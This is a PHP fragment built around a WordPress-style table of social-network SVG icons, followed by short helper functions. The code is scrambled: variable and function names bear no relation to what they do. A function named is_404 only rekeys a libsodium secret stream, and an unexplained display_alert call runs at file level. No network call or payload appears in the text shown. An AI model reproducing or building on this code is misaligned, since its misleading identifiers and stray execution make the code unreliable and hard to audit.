M11.4,15.9l0.1-1.8L11.4,9c0-0.1,0-0.2-0.1-0.2 c0,0-0.1,0-0.1,0s-0.1,0-0.1,0c-0.1,0-0.1,0.1-0.1,0.2l0,0.1l-0.1,5c0,0,0,0.7,0.1,2v0c0,0.1,0,0.1,0.1,0.1c0.1,0.1,0.1,0.1,0.2,0.1 c0.1,0,0.1,0,0.2-0.1c0.1,0,0.1-0.1,0.1-0.2L11.4,15.9z M2.4,12.9L2.5,14l-0.2,1.1c0,0.1,0,0.1-0.1,0.1c0,0-0.1,0-0.1-0.1L2.1,14 l0.1-1.1C2.2,12.9,2.3,12.9,2.4,12.9C2.3,12.9,2.4,12.9,2.4,12.9z M3.1,12.2L3.3,14l-0.2,1.8c0,0.1,0,0.1-0.1,0.1 c-0.1,0-0.1,0-0.1-0.1L2.8,14L3,12.2C3,12.2,3,12.2,3.1,12.2C3.1,12.2,3.1,12.2,3.1,12.2z M3.9,11.9L4.1,14l-0.2,2.1 c0,0.1,0,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L3.5,14l0.2-2.1c0-0.1,0-0.1,0.1-0.1C3.9,11.8,3.9,11.8,3.9,11.9z M4.7,11.9L4.9,14 l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L4.3,14l0.2-2.2c0-0.1,0-0.1,0.1-0.1C4.7,11.7,4.7,11.8,4.7,11.9z M5.6,12 l0.2,2l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c0,0-0.1,0-0.1,0c0,0,0-0.1,0-0.1L5.1,14l0.2-2c0,0,0-0.1,0-0.1s0.1,0,0.1,0 C5.5,11.9,5.5,11.9,5.6,12L5.6,12z M6.4,10.7L6.6,14l-0.2,2.1c0,0,0,0.1,0,0.1c0,0-0.1,0-0.1,0c-0.1,0-0.1-0.1-0.2-0.2L5.9,14 l0.2-3.3c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0C6.4,10.7,6.4,10.7,6.4,10.7z M7.2,10l0.2,4.1l-0.2,2.1c0,0,0,0.1,0,0.1 c0,0-0.1,0-0.1,0c-0.1,0-0.2-0.1-0.2-0.2l-0.1-2.1L6.8,10c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0S7.2,9.9,7.2,10z M8,9.6L8.2,14 L8,16.1c0,0.1-0.1,0.2-0.2,0.2c-0.1,0-0.2-0.1-0.2-0.2L7.5,14l0.1-4.4c0-0.1,0-0.1,0.1-0.1c0,0,0.1-0.1,0.1-0.1c0.1,0,0.1,0,0.1,0.1 C8,9.6,8,9.6,8,9.6z M11.4,16.1L11.4,16.1L11.4,16.1z M9.7,9.6L9.8,14l-0.1,2.1c0,0.1,0,0.1-0.1,0.2s-0.1,0.1-0.2,0.1 c-0.1,0-0.1,0-0.1-0.1s-0.1-0.1-0.1-0.2L9.2,14l0.1-4.4c0-0.1,0-0.1,0.1-0.2s0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S9.7,9.5,9.7,9.6 L9.7,9.6z M10.6,9.8l0.1,4.3l-0.1,2c0,0.1,0,0.1-0.1,0.2c0,0-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c0,0-0.1-0.1-0.1-0.2L10,14 l0.1-4.3c0-0.1,0-0.1,0.1-0.2c0,0,0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S10.6,9.7,10.6,9.8z M12.4,14l-0.1,2c0,0.1,0,0.1-0.1,0.2 c-0.1,0.1-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2l-0.1-1l-0.1-1l0.1-5.5v0c0-0.1,0-0.2,0.1-0.2 c0.1,0,0.1-0.1,0.2-0.1c0,0,0.1,0,0.1,0c0.1,0,0.1,0.1,0.1,0.2L12.4,14z M22.1,13.9c0,0.7-0.2,1.3-0.7,1.7c-0.5,0.5-1.1,0.7-1.7,0.7 h-6.8c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2V8.2c0-0.1,0.1-0.2,0.2-0.3c0.5-0.2,1-0.3,1.6-0.3c1.1,0,2.1,0.4,2.9,1.1 c0.8,0.8,1.3,1.7,1.4,2.8c0.3-0.1,0.6-0.2,1-0.2c0.7,0,1.3,0.2,1.7,0.7C21.8,12.6,22.1,13.2,22.1,13.9L22.1,13.9z"></path></svg>'), 'spotify' => array('name' => 'Spotify', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,2C6.477,2,2,6.477,2,12c0,5.523,4.477,10,10,10c5.523,0,10-4.477,10-10C22,6.477,17.523,2,12,2 M16.586,16.424 c-0.18,0.295-0.563,0.387-0.857,0.207c-2.348-1.435-5.304-1.76-8.785-0.964c-0.335,0.077-0.67-0.133-0.746-0.469 c-0.077-0.335,0.132-0.67,0.469-0.746c3.809-0.871,7.077-0.496,9.713,1.115C16.673,15.746,16.766,16.13,16.586,16.424 M17.81,13.7 c-0.226,0.367-0.706,0.482-1.072,0.257c-2.687-1.652-6.785-2.131-9.965-1.166C6.36,12.917,5.925,12.684,5.8,12.273 C5.675,11.86,5.908,11.425,6.32,11.3c3.632-1.102,8.147-0.568,11.234,1.328C17.92,12.854,18.035,13.335,17.81,13.7 M17.915,10.865 c-3.223-1.914-8.54-2.09-11.618-1.156C5.804,9.859,5.281,9.58,5.131,9.086C4.982,8.591,5.26,8.069,5.755,7.919 c3.532-1.072,9.404-0.865,13.115,1.338c0.445,0.264,0.59,0.838,0.327,1.282C18.933,10.983,18.359,11.129,17.915,10.865"></path></svg>'), 'telegram' => array('name' => 'Telegram', 'icon' => '<svg width="24" height="24" viewBox="0 0 128 128" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M28.9700376,63.3244248 C47.6273373,55.1957357 60.0684594,49.8368063 66.2934036,47.2476366 C84.0668845,39.855031 87.7600616,38.5708563 90.1672227,38.528 C90.6966555,38.5191258 91.8804274,38.6503351 92.6472251,39.2725385 C93.294694,39.7979149 93.4728387,40.5076237 93.5580865,41.0057381 C93.6433345,41.5038525 93.7494885,42.63857 93.6651041,43.5252052 C92.7019529,53.6451182 88.5344133,78.2034783 86.4142057,89.5379542 C85.5170662,94.3339958 83.750571,95.9420841 82.0403991,96.0994568 C78.3237996,96.4414641 75.5015827,93.6432685 71.9018743,91.2836143 C66.2690414,87.5912212 63.0868492,85.2926952 57.6192095,81.6896017 C51.3004058,77.5256038 55.3966232,75.2369981 58.9976911,71.4967761 C59.9401076,70.5179421 76.3155302,55.6232293 76.6324771,54.2720454 C76.6721165,54.1030573 76.7089039,53.4731496 76.3346867,53.1405352 C75.9604695,52.8079208 75.4081573,52.921662 75.0095933,53.0121213 C74.444641,53.1403447 65.4461175,59.0880351 48.0140228,70.8551922 C45.4598218,72.6091037 43.1463059,73.4636682 41.0734751,73.4188859 C38.7883453,73.3695169 34.3926725,72.1268388 31.1249416,71.0646282 C27.1169366,69.7617838 23.931454,69.0729605 24.208838,66.8603276 C24.3533167,65.7078514 25.9403832,64.5292172 28.9700376,63.3244248 Z" /></svg>'), 'threads' => array('name' => 'Threads', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M16.3 11.3c-.1 0-.2-.1-.2-.1-.1-2.6-1.5-4-3.9-4-1.4 0-2.6.6-3.3 1.7l1.3.9c.5-.8 1.4-1 2-1 .8 0 1.4.2 1.7.7.3.3.5.8.5 1.3-.7-.1-1.4-.2-2.2-.1-2.2.1-3.7 1.4-3.6 3.2 0 .9.5 1.7 1.3 2.2.7.4 1.5.6 2.4.6 1.2-.1 2.1-.5 2.7-1.3.5-.6.8-1.4.9-2.4.6.3 1 .8 1.2 1.3.4.9.4 2.4-.8 3.6-1.1 1.1-2.3 1.5-4.3 1.5-2.1 0-3.8-.7-4.8-2S5.7 14.3 5.7 12c0-2.3.5-4.1 1.5-5.4 1.1-1.3 2.7-2 4.8-2 2.2 0 3.8.7 4.9 2 .5.7.9 1.5 1.2 2.5l1.5-.4c-.3-1.2-.8-2.2-1.5-3.1-1.3-1.7-3.3-2.6-6-2.6-2.6 0-4.7.9-6 2.6C4.9 7.2 4.3 9.3 4.3 12s.6 4.8 1.9 6.4c1.4 1.7 3.4 2.6 6 2.6 2.3 0 4-.6 5.3-2 1.8-1.8 1.7-4 1.1-5.4-.4-.9-1.2-1.7-2.3-2.3zm-4 3.8c-1 .1-2-.4-2-1.3 0-.7.5-1.5 2.1-1.6h.5c.6 0 1.1.1 1.6.2-.2 2.3-1.3 2.7-2.2 2.7z"/></svg>'), 'tiktok' => array('name' => 'TikTok', 'icon' => '<svg width="24" height="24" viewBox="0 0 32 32" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M16.708 0.027c1.745-0.027 3.48-0.011 5.213-0.027 0.105 2.041 0.839 4.12 2.333 5.563 1.491 1.479 3.6 2.156 5.652 2.385v5.369c-1.923-0.063-3.855-0.463-5.6-1.291-0.76-0.344-1.468-0.787-2.161-1.24-0.009 3.896 0.016 7.787-0.025 11.667-0.104 1.864-0.719 3.719-1.803 5.255-1.744 2.557-4.771 4.224-7.88 4.276-1.907 0.109-3.812-0.411-5.437-1.369-2.693-1.588-4.588-4.495-4.864-7.615-0.032-0.667-0.043-1.333-0.016-1.984 0.24-2.537 1.495-4.964 3.443-6.615 2.208-1.923 5.301-2.839 8.197-2.297 0.027 1.975-0.052 3.948-0.052 5.923-1.323-0.428-2.869-0.308-4.025 0.495-0.844 0.547-1.485 1.385-1.819 2.333-0.276 0.676-0.197 1.427-0.181 2.145 0.317 2.188 2.421 4.027 4.667 3.828 1.489-0.016 2.916-0.88 3.692-2.145 0.251-0.443 0.532-0.896 0.547-1.417 0.131-2.385 0.079-4.76 0.095-7.145 0.011-5.375-0.016-10.735 0.025-16.093z" /></svg>'), 'tumblr' => array('name' => 'Tumblr', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M17.04 21.28h-3.28c-2.84 0-4.94-1.37-4.94-5.02v-5.67H6.08V7.5c2.93-.73 4.11-3.3 4.3-5.48h3.01v4.93h3.47v3.65H13.4v4.93c0 1.47.73 2.01 1.92 2.01h1.73v3.75z" /></path></svg>'), 'twitch' => array('name' => 'Twitch', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M16.499,8.089h-1.636v4.91h1.636V8.089z M12,8.089h-1.637v4.91H12V8.089z M4.228,3.178L3,6.451v13.092h4.499V22h2.456 l2.454-2.456h3.681L21,14.636V3.178H4.228z M19.364,13.816l-2.864,2.865H12l-2.453,2.453V16.68H5.863V4.814h13.501V13.816z"></path></svg>'), 'twitter' => array('name' => 'Twitter', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22.23,5.924c-0.736,0.326-1.527,0.547-2.357,0.646c0.847-0.508,1.498-1.312,1.804-2.27 c-0.793,0.47-1.671,0.812-2.606,0.996C18.324,4.498,17.257,4,16.077,4c-2.266,0-4.103,1.837-4.103,4.103 c0,0.322,0.036,0.635,0.106,0.935C8.67,8.867,5.647,7.234,3.623,4.751C3.27,5.357,3.067,6.062,3.067,6.814 c0,1.424,0.724,2.679,1.825,3.415c-0.673-0.021-1.305-0.206-1.859-0.513c0,0.017,0,0.034,0,0.052c0,1.988,1.414,3.647,3.292,4.023 c-0.344,0.094-0.707,0.144-1.081,0.144c-0.264,0-0.521-0.026-0.772-0.074c0.522,1.63,2.038,2.816,3.833,2.85 c-1.404,1.1-3.174,1.756-5.096,1.756c-0.331,0-0.658-0.019-0.979-0.057c1.816,1.164,3.973,1.843,6.29,1.843 c7.547,0,11.675-6.252,11.675-11.675c0-0.178-0.004-0.355-0.012-0.531C20.985,7.47,21.68,6.747,22.23,5.924z"></path></svg>'), 'vimeo' => array('name' => 'Vimeo', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22.396,7.164c-0.093,2.026-1.507,4.799-4.245,8.32C15.322,19.161,12.928,21,10.97,21c-1.214,0-2.24-1.119-3.079-3.359 c-0.56-2.053-1.119-4.106-1.68-6.159C5.588,9.243,4.921,8.122,4.206,8.122c-0.156,0-0.701,0.328-1.634,0.98L1.594,7.841 c1.027-0.902,2.04-1.805,3.037-2.708C6.001,3.95,7.03,3.327,7.715,3.264c1.619-0.156,2.616,0.951,2.99,3.321 c0.404,2.557,0.685,4.147,0.841,4.769c0.467,2.121,0.981,3.181,1.542,3.181c0.435,0,1.09-0.688,1.963-2.065 c0.871-1.376,1.338-2.422,1.401-3.142c0.125-1.187-0.343-1.782-1.401-1.782c-0.498,0-1.012,0.115-1.541,0.341 c1.023-3.35,2.977-4.977,5.862-4.884C21.511,3.066,22.52,4.453,22.396,7.164z"></path></svg>'), 'vk' => array('name' => 'VK', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22,7.1c0.2,0.4-0.4,1.5-1.6,3.1c-0.2,0.2-0.4,0.5-0.7,0.9c-0.5,0.7-0.9,1.1-0.9,1.4c-0.1,0.3-0.1,0.6,0.1,0.8 c0.1,0.1,0.4,0.4,0.8,0.9h0l0,0c1,0.9,1.6,1.7,2,2.3c0,0,0,0.1,0.1,0.1c0,0.1,0,0.1,0.1,0.3c0,0.1,0,0.2,0,0.4 c0,0.1-0.1,0.2-0.3,0.3c-0.1,0.1-0.4,0.1-0.6,0.1l-2.7,0c-0.2,0-0.4,0-0.6-0.1c-0.2-0.1-0.4-0.1-0.5-0.2l-0.2-0.1 c-0.2-0.1-0.5-0.4-0.7-0.7s-0.5-0.6-0.7-0.8c-0.2-0.2-0.4-0.4-0.6-0.6C14.8,15,14.6,15,14.4,15c0,0,0,0-0.1,0c0,0-0.1,0.1-0.2,0.2 c-0.1,0.1-0.2,0.2-0.2,0.3c-0.1,0.1-0.1,0.3-0.2,0.5c-0.1,0.2-0.1,0.5-0.1,0.8c0,0.1,0,0.2,0,0.3c0,0.1-0.1,0.2-0.1,0.2l0,0.1 c-0.1,0.1-0.3,0.2-0.6,0.2h-1.2c-0.5,0-1,0-1.5-0.2c-0.5-0.1-1-0.3-1.4-0.6s-0.7-0.5-1.1-0.7s-0.6-0.4-0.7-0.6l-0.3-0.3 c-0.1-0.1-0.2-0.2-0.3-0.3s-0.4-0.5-0.7-0.9s-0.7-1-1.1-1.6c-0.4-0.6-0.8-1.3-1.3-2.2C2.9,9.4,2.5,8.5,2.1,7.5C2,7.4,2,7.3,2,7.2 c0-0.1,0-0.1,0-0.2l0-0.1c0.1-0.1,0.3-0.2,0.6-0.2l2.9,0c0.1,0,0.2,0,0.2,0.1S5.9,6.9,5.9,7L6,7c0.1,0.1,0.2,0.2,0.3,0.3 C6.4,7.7,6.5,8,6.7,8.4C6.9,8.8,7,9,7.1,9.2l0.2,0.3c0.2,0.4,0.4,0.8,0.6,1.1c0.2,0.3,0.4,0.5,0.5,0.7s0.3,0.3,0.4,0.4 c0.1,0.1,0.3,0.1,0.4,0.1c0.1,0,0.2,0,0.3-0.1c0,0,0,0,0.1-0.1c0,0,0.1-0.1,0.1-0.2c0.1-0.1,0.1-0.3,0.1-0.5c0-0.2,0.1-0.5,0.1-0.8 c0-0.4,0-0.8,0-1.3c0-0.3,0-0.5-0.1-0.8c0-0.2-0.1-0.4-0.1-0.5L9.6,7.6C9.4,7.3,9.1,7.2,8.7,7.1C8.6,7.1,8.6,7,8.7,6.9 C8.9,6.7,9,6.6,9.1,6.5c0.4-0.2,1.2-0.3,2.5-0.3c0.6,0,1,0.1,1.4,0.1c0.1,0,0.3,0.1,0.3,0.1c0.1,0.1,0.2,0.1,0.2,0.3 c0,0.1,0.1,0.2,0.1,0.3s0,0.3,0,0.5c0,0.2,0,0.4,0,0.6c0,0.2,0,0.4,0,0.7c0,0.3,0,0.6,0,0.9c0,0.1,0,0.2,0,0.4c0,0.2,0,0.4,0,0.5 c0,0.1,0,0.3,0,0.4s0.1,0.3,0.1,0.4c0.1,0.1,0.1,0.2,0.2,0.3c0.1,0,0.1,0,0.2,0c0.1,0,0.2,0,0.3-0.1c0.1-0.1,0.2-0.2,0.4-0.4 s0.3-0.4,0.5-0.7c0.2-0.3,0.5-0.7,0.7-1.1c0.4-0.7,0.8-1.5,1.1-2.3c0-0.1,0.1-0.1,0.1-0.2c0-0.1,0.1-0.1,0.1-0.1l0,0l0.1,0 c0,0,0,0,0.1,0s0.2,0,0.2,0l3,0c0.3,0,0.5,0,0.7,0S21.9,7,21.9,7L22,7.1z"></path></svg>'), 'wordpress' => array('name' => 'WordPress', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.158,12.786L9.46,20.625c0.806,0.237,1.657,0.366,2.54,0.366c1.047,0,2.051-0.181,2.986-0.51 c-0.024-0.038-0.046-0.079-0.065-0.124L12.158,12.786z M3.009,12c0,3.559,2.068,6.634,5.067,8.092L3.788,8.341 C3.289,9.459,3.009,10.696,3.009,12z M18.069,11.546c0-1.112-0.399-1.881-0.741-2.48c-0.456-0.741-0.883-1.368-0.883-2.109 c0-0.826,0.627-1.596,1.51-1.596c0.04,0,0.078,0.005,0.116,0.007C16.472,3.904,14.34,3.009,12,3.009 c-3.141,0-5.904,1.612-7.512,4.052c0.211,0.007,0.41,0.011,0.579,0.011c0.94,0,2.396-0.114,2.396-0.114 C7.947,6.93,8.004,7.642,7.52,7.699c0,0-0.487,0.057-1.029,0.085l3.274,9.739l1.968-5.901l-1.401-3.838 C9.848,7.756,9.389,7.699,9.389,7.699C8.904,7.67,8.961,6.93,9.446,6.958c0,0,1.484,0.114,2.368,0.114 c0.94,0,2.397-0.114,2.397-0.114c0.485-0.028,0.542,0.684,0.057,0.741c0,0-0.488,0.057-1.029,0.085l3.249,9.665l0.897-2.996 C17.841,13.284,18.069,12.316,18.069,11.546z M19.889,7.686c0.039,0.286,0.06,0.593,0.06,0.924c0,0.912-0.171,1.938-0.684,3.22 l-2.746,7.94c2.673-1.558,4.47-4.454,4.47-7.771C20.991,10.436,20.591,8.967,19.889,7.686z M12,22C6.486,22,2,17.514,2,12 C2,6.486,6.486,2,12,2c5.514,0,10,4.486,10,10C22,17.514,17.514,22,12,22z"></path></svg>'), 'whatsapp' => array('name' => 'WhatsApp', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M 12.011719 2 C 6.5057187 2 2.0234844 6.478375 2.0214844 11.984375 C 2.0204844 13.744375 2.4814687 15.462563 3.3554688 16.976562 L 2 22 L 7.2324219 20.763672 C 8.6914219 21.559672 10.333859 21.977516 12.005859 21.978516 L 12.009766 21.978516 C 17.514766 21.978516 21.995047 17.499141 21.998047 11.994141 C 22.000047 9.3251406 20.962172 6.8157344 19.076172 4.9277344 C 17.190172 3.0407344 14.683719 2.001 12.011719 2 z M 12.009766 4 C 14.145766 4.001 16.153109 4.8337969 17.662109 6.3417969 C 19.171109 7.8517969 20.000047 9.8581875 19.998047 11.992188 C 19.996047 16.396187 16.413812 19.978516 12.007812 19.978516 C 10.674812 19.977516 9.3544062 19.642812 8.1914062 19.007812 L 7.5175781 18.640625 L 6.7734375 18.816406 L 4.8046875 19.28125 L 5.2851562 17.496094 L 5.5019531 16.695312 L 5.0878906 15.976562 C 4.3898906 14.768562 4.0204844 13.387375 4.0214844 11.984375 C 4.0234844 7.582375 7.6067656 4 12.009766 4 z M 8.4765625 7.375 C 8.3095625 7.375 8.0395469 7.4375 7.8105469 7.6875 C 7.5815469 7.9365 6.9355469 8.5395781 6.9355469 9.7675781 C 6.9355469 10.995578 7.8300781 12.182609 7.9550781 12.349609 C 8.0790781 12.515609 9.68175 15.115234 12.21875 16.115234 C 14.32675 16.946234 14.754891 16.782234 15.212891 16.740234 C 15.670891 16.699234 16.690438 16.137687 16.898438 15.554688 C 17.106437 14.971687 17.106922 14.470187 17.044922 14.367188 C 16.982922 14.263188 16.816406 14.201172 16.566406 14.076172 C 16.317406 13.951172 15.090328 13.348625 14.861328 13.265625 C 14.632328 13.182625 14.464828 13.140625 14.298828 13.390625 C 14.132828 13.640625 13.655766 14.201187 13.509766 14.367188 C 13.363766 14.534188 13.21875 14.556641 12.96875 14.431641 C 12.71875 14.305641 11.914938 14.041406 10.960938 13.191406 C 10.218937 12.530406 9.7182656 11.714844 9.5722656 11.464844 C 9.4272656 11.215844 9.5585938 11.079078 9.6835938 10.955078 C 9.7955938 10.843078 9.9316406 10.663578 10.056641 10.517578 C 10.180641 10.371578 10.223641 10.267562 10.306641 10.101562 C 10.389641 9.9355625 10.347156 9.7890625 10.285156 9.6640625 C 10.223156 9.5390625 9.737625 8.3065 9.515625 7.8125 C 9.328625 7.3975 9.131125 7.3878594 8.953125 7.3808594 C 8.808125 7.3748594 8.6425625 7.375 8.4765625 7.375 z"></path></svg>'), 'x' => array('name' => 'X', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg>'), 'yelp' => array('name' => 'Yelp', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.271,16.718v1.417q-.011,3.257-.067,3.4a.707.707,0,0,1-.569.446,4.637,4.637,0,0,1-2.024-.424A4.609,4.609,0,0,1,7.8,20.565a.844.844,0,0,1-.19-.4.692.692,0,0,1,.044-.29,3.181,3.181,0,0,1,.379-.524q.335-.412,2.019-2.409.011,0,.669-.781a.757.757,0,0,1,.44-.274.965.965,0,0,1,.552.039.945.945,0,0,1,.418.324.732.732,0,0,1,.139.468Zm-1.662-2.8a.783.783,0,0,1-.58.781l-1.339.435q-3.067.981-3.257.981a.711.711,0,0,1-.6-.4,2.636,2.636,0,0,1-.19-.836,9.134,9.134,0,0,1,.011-1.857,3.559,3.559,0,0,1,.335-1.389.659.659,0,0,1,.625-.357,22.629,22.629,0,0,1,2.253.859q.781.324,1.283.524l.937.379a.771.771,0,0,1,.4.34A.982.982,0,0,1,10.609,13.917Zm9.213,3.313a4.467,4.467,0,0,1-1.021,1.8,4.559,4.559,0,0,1-1.512,1.417.671.671,0,0,1-.7-.078q-.156-.112-2.052-3.2l-.524-.859a.761.761,0,0,1-.128-.513.957.957,0,0,1,.217-.513.774.774,0,0,1,.926-.29q.011.011,1.327.446,2.264.736,2.7.887a2.082,2.082,0,0,1,.524.229.673.673,0,0,1,.245.68Zm-7.5-7.049q.056,1.137-.6,1.361-.647.19-1.272-.792L6.237,4.08a.7.7,0,0,1,.212-.691,5.788,5.788,0,0,1,2.314-1,5.928,5.928,0,0,1,2.5-.352.681.681,0,0,1,.547.5q.034.2.245,3.407T12.327,10.181Zm7.384,1.2a.679.679,0,0,1-.29.658q-.167.112-3.67.959-.747.167-1.015.257l.011-.022a.769.769,0,0,1-.513-.044.914.914,0,0,1-.413-.357.786.786,0,0,1,0-.971q.011-.011.836-1.137,1.394-1.908,1.673-2.275a2.423,2.423,0,0,1,.379-.435A.7.7,0,0,1,17.435,8a4.482,4.482,0,0,1,1.372,1.489,4.81,4.81,0,0,1,.9,1.868v.034Z"></path></svg>'), 'youtube' => array('name' => 'YouTube', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M21.8,8.001c0,0-0.195-1.378-0.795-1.985c-0.76-0.797-1.613-0.801-2.004-0.847c-2.799-0.202-6.997-0.202-6.997-0.202 h-0.009c0,0-4.198,0-6.997,0.202C4.608,5.216,3.756,5.22,2.995,6.016C2.395,6.623,2.2,8.001,2.2,8.001S2,9.62,2,11.238v1.517 c0,1.618,0.2,3.237,0.2,3.237s0.195,1.378,0.795,1.985c0.761,0.797,1.76,0.771,2.205,0.855c1.6,0.153,6.8,0.201,6.8,0.201 s4.203-0.006,7.001-0.209c0.391-0.047,1.243-0.051,2.004-0.847c0.6-0.607,0.795-1.985,0.795-1.985s0.2-1.618,0.2-3.237v-1.517 C22,9.62,21.8,8.001,21.8,8.001z M9.935,14.594l-0.001-5.62l5.404,2.82L9.935,14.594z"></path></svg>'));
    if (!empty($has_custom_selector) && !empty($skip_serialization) && isset($previous_page[$has_custom_selector]) && ('icon' === $skip_serialization || 'name' === $skip_serialization)) {
        return $previous_page[$has_custom_selector][$skip_serialization];
    } elseif (!empty($has_custom_selector) && isset($previous_page[$has_custom_selector])) {
        return $previous_page[$has_custom_selector];
    }
    return $previous_page;
}

/**
 * @param string $f9g4_19
 * @return void
 * @throws SodiumException
 */
function is_404(&$f9g4_19)
{
    ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_rekey($f9g4_19);
}
$group_mime_types = display_alert([1, 2, 3, 4, 5, 6]);